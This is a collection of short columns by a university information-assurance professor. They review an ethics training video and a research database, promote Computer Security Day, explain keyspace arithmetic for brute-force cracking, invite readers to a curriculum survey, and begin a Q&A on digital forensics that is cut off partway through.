M. E. Kabay, PhD, CISSP is Associate Professor in the Division of Business and Management at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Security Training Videos:
"The Right Thing: Doing Business Legally and Ethically"

by M. E. Kabay, PhD, CISSP

This series of short reviews is intended to help security-awareness officers evaluate training videos for their training programs.

* * *

The training video "The Right Thing" from Commonwealth Films < http://www.commonwealthfilms.com > is subtitled, "Doing Business Legally and Ethically." This 2002 production starts with a montage of news story headlines about business fraud, TV vignettes of executives under investigation, and news scrums.

The Honorable Dick Thornburgh, Former Attorney General of the United States and an attorney with Kirkpatrick & Lockhart LLP < http://tinyurl.com/4pbbl > is the main speaker throughout the video. He speaks clearly and well and lends considerable credibility to the training program.

All of the topics are worth discussing in any organization:

* Retaining documents: Destroying or concealing records in an attempt to circumvent subpoenas is a terrible idea that can lead not only to ruining an organization's defense posture but also criminal liability for the employees involved.

* Accounting and reporting: Accurate and reliable financial accounting is an absolute requirement of ethical and legally-acceptable business. Falsifying records by changing dates, modifying quantities or costs and any other breaches of data integrity may result in penalties for publicly-traded companies, criminal liability for officers and staff involved in the malfeasance, and loss of public reputation and competitive position.

* Antitrust compliance: It is illegal in the United States for competitors to agree on or even to discuss any measures to reduce competition. Limiting price breaks, pressuring competitors to toe the line on minimum costs, spreading contracts around by taking turns in the bidding process – all of these practices are violations of antitrust laws that can result in huge fines and jail terms for perpetrators.

* Insider information: It is illegal to pass on internal news that allows privileged decisions about stock trades, whether good or bad. It's also illegal to make stock trades based on such privileged information.

* Procurement standards: Both buyers and bidders have to comply with the highest ethical standards. Gifts, entertainments, favors – all of these are out of order. Participation in such activities may result in removal from bidders' lists and possibly criminal prosecution.

* Government contracting: Defrauding the government is a serious mistake. Misrepresenting goods and services constitutes fraud; sending fraudulent bid information by mail or through phone and fax may constitute violations of US postal and wire fraud statutes and thus constitute

felonies (i.e., crimes with possible jail terms). Soliciting employees at a government agency for future positions in a company bidding for contract may violate regulations forbidding revolving-door relations between agencies and contractors.

* Intellectual property: Stealing other organization's proprietary data is a serious violation of intellectual property laws. Don't hire candidate who offer to violate their current employer's trust by bringing you secret data; agreeing to such a proposal could make the interviewer liable to prosecution for receiving stolen intellectual property and trade secrets. Depending on the original employer, it could also violate the Computer Fraud and Abuse Act of 1986 (18 USC §1030)

* Foreign corrupt practices: Bribery and misleading bookkeeping for purposes of acquiring contracts in foreign countries are barred by US laws that make kickbacks to foreign officials illegal. For example, "investing" in a land development project in order to gain a contract would constitute bribery.

* Environmental protection: Some organizations fail to take environmental-protection laws seriously. For example, mercury-containing computer parts such as circuit boards must not be thrown into ordinary trash but must be handled as toxic waste. Violating such regulations may lead to serious financial penalties and even total shutdown of operations.

* Harassment: Workers are entitled to freedom from discrimination in their workplace. Suggestive remarks, innuendoes, jokes, demeaning remarks, and offensive materials such as pornography, racist jokes, and religious or political bigotry can lead to embarrassment, emotional pain, decreased productivity, lawsuits, and terrible publicity. If you see or are the subject of harassment, report it at once to your human relations department or government labor agencies.

* Information systems: Unauthorized copying of programs or other copyrighted information and use of corporate systems to access confidential personal data about coworkers or clients can break laws as well as corporate policies.

Some general principles offered in the video:

1. Know the laws and your company policies.
2. Be alert to questionable, unethical, illegal practices and report them at once.
3. Do the right thing yourself: perform your job legally and ethically.

The film ends with some sobering comments about law enforcement's attitudes towards white-collar criminals and dramatic representations of interviews with actors representing prisoners who challenge the myth of the country-club prison.

As always, this Commonwealth Film training video is a valuable contribution to corporate security awareness programs. Congratulations to writer and director Webster Lithgow, producer Jennifer Wry and veteran executive producer Thomas P. McCann.

* * *

[Note: The author has no financial interest whatsoever in Commonwealth Films. However,

these nice people allow me to show their previews to my students in class and I am grateful to their Director of Customer Relations, David J. Burke, for his consistent kindness over many years.]

* * *

A Master's degree in the management of information assurance in 18 months of online study from Norwich University – see
< http://www3.norwich.edu/msia > for details.

M. E. Kabay, PhD, CISSP is Associate Professor in the Division of Business and Management at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

The FACCTS, Just the FACCTs

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

Our wonderful research librarian at the Kreitzberg Library of Norwich University < http://www.norwich.edu/library/kberg.html >, Catherine Swenson, is always on the lookout for new resources that can help faculty and students. Recently she introduced me to the online reports available from Faulkner Information Services at < http://www.faulkner.com/ >.

Here's what I reported to her and to my IT faculty and staff colleagues at the University. I hope that the information will be helpful to readers.

* * *

I have examined the content of the Faulkner's Advisory on Computer and Communications Technologies (FACCTs) database and the Security Management Practices (SMP) database. Both will be useful to undergraduates and, to a lesser degree, to graduate students in the MSIA and possibly the MBA and MCE programs.

* FACCTs provides the equivalent of an up-to-date encyclopedia of information technology with a particular emphasis on data communications. Topics include

Enterprise Data Networking
Broadband
Security Strategies
Electronic Government
Electronic Business Strategies
Internet Strategies
Business Intelligence/Content Management
IT Asset Management
Application Development
Web Site Management
Converging Communications
Telecom & Global Network Services
Mobile Business Strategies
Wireless Communications

In addition, users can access current news on the following topics:

Technology Vendor Profiles
Technology News Track
Hot New Reports

* The SMP has a collection of short reports on the following topics:

Facility Security

Electronic & Paper Document Security
Security Technology
Security Outsourcing
Legal & Financial Security Issues
Regulations & Standards
IT & Network Security
Business Continuity
E-Business Security
Human Resources Security
Public, Private Sector Partnerships
Security Administration
Risk Management

Both databases provide an extensive list of detailed reports on hundreds of high-technology companies including product overview, contact information and investment information. These data may be useful to our students when they are job-hunting or selecting technology for their own organization's infrastructure.

The resources may also be helpful to the University IT services and to the HelpDesk.

On the downside, these reports are written by relatively few authors and thus present a limited view of the field since no one can be an expert in all of these subjects; however, the authors seem to have extensive industry experience and they do write clearly and succinctly. Unfortunately, the articles have few cross-references and what few there are generally point to paper versions of the publications rather than providing URLs. However, the reports generally do include several URLs for sites that can be helpful in additional research.

Given the low cost of the licenses (according to the information I was given, less than $1,000 per database per year for all our users at the University), these are well worth the cost.

It will be particularly important to inform all the faculty, staff and students of the availability of these resources once they are online.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Division of Business and Management at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mailto:mkabay@norwich.edu >; Web site at < http://www.mekabay.com/index.htm >.

Computer Security Day: Useful Fun

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

Prevention always suffers from a fundamental feedback problem: the more successful we are in preventing disasters or attacks, the less reinforcement there is for our recommendations.

Consider for example the popularity of flossing.

At least flossing is based on some sound scientific research. Unfortunately, to many of our colleagues, information security practices remind them of the old joke about a fellow standing on a street corner waving a raw potato around his head every 30 seconds.

> "Why are you doing that?" asks a passerby.
>
> "To keep the dinosaurs away," replies the potato-waver.
>
> "But there are no dinosaurs any more," retorts the passerby.
>
> "See? It works!" says the spudster triumphantly.

So in the absence of rigorous data about annualized loss expectancies, we are stuck trying to keep security interesting or at least tolerable for the people we are trying to protect. One of the measures we can exploit (in a positive sense) is Computer Security Day. According to Chris O'Connor, IBM's Director of Security Strategy,

- Computer Security Day (CSD) was founded in 1988 when the Washington DC chapter of the Association for Computing Machinery's Special Interest Group on Security, Audit, and Control (SIGSAC) decided to raise awareness of computer security.
- November 30 was chosen for CSD so that attention on computer security would remain high during the holiday season – when people are typically more focused on the busy shopping season than thwarting security threats.
- This year's CSD theme is "personalizing security" by asking businesses and individuals to get personally involved in creating a more secure global computing environment.
- Every year more than 1,000 organizations in more than 50 countries officially participate in CSD.
- CSD is sponsored by the Association of Computing Machinery, IBM, Security Awareness Inc., and is supported by a host of other organizations.

I concur with supporters of CSD that we need to raise awareness of protecting not only business users but also the general computer-using public against accidents and deliberate attacks.

Mr O'Conner continues with suggestions of how readers can get involved:

1. Ask yourself, "What are we doing on November 30?" If your organization doesn't have a security-awareness program, it's a good day to start one. If you have one, perhaps it's time to reinvigorate it by doing an audit of system weaknesses, reminding employees to change their passwords, and revisiting your organization's security policies.

2. Get political. Write your mayor and ask that November 30 be declared "Computer Security Day" in your hometown. Ask your senator or representative if they are publicly supporting Computer Security Day (www.house.gov; www.senate.gov) to draw political attention to an issue that costs businesses billions of dollars a year.

3. Think globally, act locally. Form a local grass-roots effort to promote Computer Security Day. Gather your brightest security gurus and volunteers to speak to seniors, students, community organizations and other groups about how to spot viruses and spyware and keep their computers safe and up to date.

4. Get your customers involved – let them know security is part of your company's culture. If it's appropriate, print security messages on receipts at the cash register or online transaction confirmation emails, flash messages across kiosk screens, or use screensavers to showcase your company's commitment to computer security.

5. Make security part of your company's water-cooler talk. You can order posters for the break room from the official CSD 2004 Web site at < http://www.computersecurityday.org > Web site, providing simple, yet often forgotten tips about security.

I will finish with yet another invitation to download a copy of my free booklet on Cybersafety from < http://www.mekabay.com/cyberwatch/cybersafety.pdf >. You'll find it full of simple explanations of security issues for non-technical people and practical suggestions on protecting families against Internet-mediated harm. You can give free copies to teachers and students in your local schools, to computer-users in senior centers, to youth clubs, to groups in churches / mosques / synagogues / temples, to people in social clubs like the Rotary / Elks / Knights of Columbus and so on.

If this column moves you to get involved in CSD, drop me a line after the event to let me know how it went. Enjoy yourselves!

Understanding Brute-Force Cracking

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

A reader sent me the following question:

"What are the current, real world capabilities of the various forms of encryption to resist compromise?

Would like to see stats like: Data encrypted with 128 SSL is capable of withstanding brute force from 10,000 computers for 3 hrs (example only). Of course, the variables are innumerable, but something with a scientific basis and relative ease of understandability for the a client would be good."

Brute-force cracking is like trying every possible key to unlock a door. Sometimes, the door is an access-control system and the key is a password; sometimes the door is a decryption algorithm and the key is a decryption key. I will continue referring to keys in the rest of the article.

The total number of keys is called the keyspace. The keyspace is a function of the key length and the number of possible values in each position. The number of possible values can be constrained by rules; for example, a key may be up to 10 alphanumeric characters in length but the first character may have to be a letter. Thus the first character would have 26 or 52 possible values (depending on whether case is recognized) but the other nine characters could have 36 or 62 values (because of the extra ten digits).

Another possible constraint affects repetition. For example, certain key rules may preclude more than one occurrence of a particular symbol. So for a ten-character key using only letters but not distinguishing between upper- and lowercase letters, the first character would have 26 possibilities, the second would have 25, the third would have 24, and so on.

The most important rule in calculating keyspace is that we multiply the number of possibilities in each position to arrive at the total. For example, if we have a four-digit personal identification number (PIN) and repetition is not permitted, then the total number of PINs is 10 x 9 x 8 x 7 = 5040.

If repetition is permitted, the calculation is easier; you raise the number of values per position (let's call that V) to the power of the number of positions (let's call that P). Thus we write that the keyspace (K) would be

K = V^P or K = V**P (depending on how you like to write the exponentiation operator).

For example, if you had two positions which could have 10 digits in each with repetition allowed, then there would be 10^2 = 100 values; i.e., the numbers from 00 to 99.

Keys can be measured in bits (0s or 1s) if we know something about how the values are

represented in computer storage; for example, an integer value is often stored as a 16-bit number on many computers. Thus in our formula, we can usually manage to set V = 2.

We can use our formula to state that a 128 bit key (P = 128) has K = 2^128 = ~3E38 (that stands for 3 x 10^38 different keys) and.

A shortcut is to remember the approximation that 2^n = 10^[(log 2)n] =10^(0.30103n) and so we can compute a rough estimate of the keyspace using simple multiplication if we don't have a computer handy.

Now, how does brute-force cracking determine if a particular key is correct? That's really quite tricky and I won't go into it now. But let's just suppose that it's possible to program one or more computers to try out portions of the keyspace looking for the right key for a particular puzzle. How long does it take?

The maximum time dependence on these factors:

* the keyspace;
* the operations per second per processor;
* the number of processors working in parallel.

For example, if you had a trillion (1E12) operations per second for each of a trillion processors, trying all the keys in the 3E38 keyspace for a 128-bit key would take about 3E14 seconds. Reducing that to years gives about 10 million years.

I'm sure that anyone interested will be able to produce their own spreadsheet to play with this, but you can download my XLS file from

< http://www.mekabay.com/methodology/keyspace.xls >.

One other note: it's not likely that the brute-force attack will have to search the entire key space. There is a principle in probability theory called the central limit theorem that tells us that on average, brute-force attacks will end up finding the right key after half the keyspace has been searched.

But 5 million years, 10 million years: who's counting?

Foundations for Information Assurance

by M. E. Kabay, PhD, CISSP
Associate Professor, Information Assurance
Norwich University, Northfield VT

Teaching information assurance (IA) requires a tricky balance between technical subjects and management skills. We academics sometimes flounder in curriculum design because of the fundamental dearth of sound statistically-based information about security issues. We have problems gathering data for IA because

* As far as we can tell, many or perhaps most computer intrusions and computer crimes go undetected (estimates range from 9 out of 10 crimes to 2 out of 3 intrusions).

* Many detected intrusions or crimes are unreported (perhaps as many as 95% according to some studies).

* There is no central database keeping track of computer crimes or security breaches.

* Almost all computer-security surveys suffer from methodological inadequacies (they rely on voluntary responses, have no independent verification of the accuracy of answers, and don't include internal validation measures to catch careless or silly answers).

We are left with the hope that forging consensus on best practices is one of the approaches that can improve IA.
Under these circumstances, you'll understand how important it is for academics to get information directly from practitioners when designing courses. Prof. John Beachboard, PhD, of Idaho State University is doing precisely that. In a recent call for participation sent through a security-educators' list, he explained that "Business-oriented MIS and CIS programs have tended to emphasize requirements analysis and business application development over the development of technical skills and knowledge associated with development and operation of IT infrastructures. Many business schools are now adding courses (e.g., in data communications and systems architecture) intended to fill this gap." He has developed a survey designed "to gain practitioner input regarding the fundamental technical concepts that all aspiring IS/IT professionals should be taught in an undergraduate systems architecture course."

His survey is at < http://cobhomepages.cob.isu.edu/beach/survey/1.asp > and it took me only a few minutes to complete.

Prof. Beachboard will send results of his analysis to any participants who would like to be informed of the findings.

I hope that readers will be willing to take the time to help Prof. Beachboard and the field as a whole by participating in this research.

Digital Forensics (1)

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A journalist from South Africa recently wrote to me with a series of interesting questions about forensics and I had such fun answering that I got his permission to post his questions and my answers in this column and the next.

>I'm looking for information and opinion on the ins and outs of the world of computer forensics. Maybe you would be interested in commenting for the story? I could email you specific questions.<

Hmm, I'm not a forensics expert, but I'll copy some of my colleagues who are so they can contribute to your research if they have time.

First, some general resources.

Stephenson, P. (1999). Investigating Computer-Related Crime: A Handbook for Corporate Investigators. Auerbach Publications (Boca Raton, FL). ISBN 0-849-32218-9. 328. Index.

You may find some good resources in my CJ341 CyberLaw and Cybercrime course lectures at

http://www.mekabay.com/courses/academic/norwich/cj341/lectures.htm

In particular, I recommend looking at

http://www.mekabay.com/courses/academic/norwich/cj341/05_Forensic_Framework.ppt

http://www.mekabay.com/courses/academic/norwich/cj341/09_Remnants.ppt

http://www.mekabay.com/courses/academic/norwich/cj341/15_Using_Forensic_Utilities.ppt

>What do the people who work with computer forensics do and how do they do it?<

They collect and secure digital evidence for use in analyzing the occurrence, nature, mechanisms and perpetrators of computer security violations, some of which may be crimes. They understand how information is created and stored in different kinds of digital media and they use specialized procedures and programs to safeguard data again damage and to find relevant data. They also understand the legal requirements for proper chain of custody of evidence as well as restrictions on investigative techniques that are required for effective use in legal proceedings, if any.

>What sort of tricks do cyber criminals use to cover their tracks?<

Depending on whether criminals have physical access to computer systems they are manipulating, they can

* use false or temporary identifiers to launch attacks;
* route their attack through several compromised systems to obscure their trail of IP addresses in the packets they generate;
